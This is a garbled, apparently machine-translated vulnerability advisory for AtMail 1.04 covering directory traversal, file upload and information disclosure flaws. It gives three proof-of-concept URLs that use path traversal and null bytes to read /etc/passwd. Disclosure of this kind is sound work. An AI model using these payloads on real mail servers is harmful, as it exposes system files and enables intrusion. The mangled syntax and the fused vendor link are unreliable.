Multiple security vulnerabilities in AtMail

Release date: 2012-03-22
Updated on: 2012-03-27

Affected Systems:
@ Email Atmail 1.04
Description:
--------------------------------------------------------------------------------
Bugtraq id: 52684

Atmail is a provider of commercial Linux message transmission platform.

AtMail has multiple directory traversal, Arbitrary File Upload, and information leakage vulnerabilities. Attackers can exploit these vulnerabilities to obtain sensitive information, upload, and run arbitrary code.

<* Source: Yury Maryshev
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Https://www.example.com/compose.php? Func = renameattach & amp; unique = /... /. /... /. /... /. /... /. /... /. /... /. /... /. /... /. /... /. /... /. /... /. /... /. /tmp/positive. test % 00 & amp; Attachment [] = /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd

Https://www.example.com/compose.php? Func?renameattach&amp;unique=1.txt % 00 & amp; Attachment [] = /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd

Https://www.example.com/mime.php? File = % 0A/.../../passwd&amp;name=positive.html

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

@ Mail
-----
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.securityfocus.com/bid/51313/www.atmail.com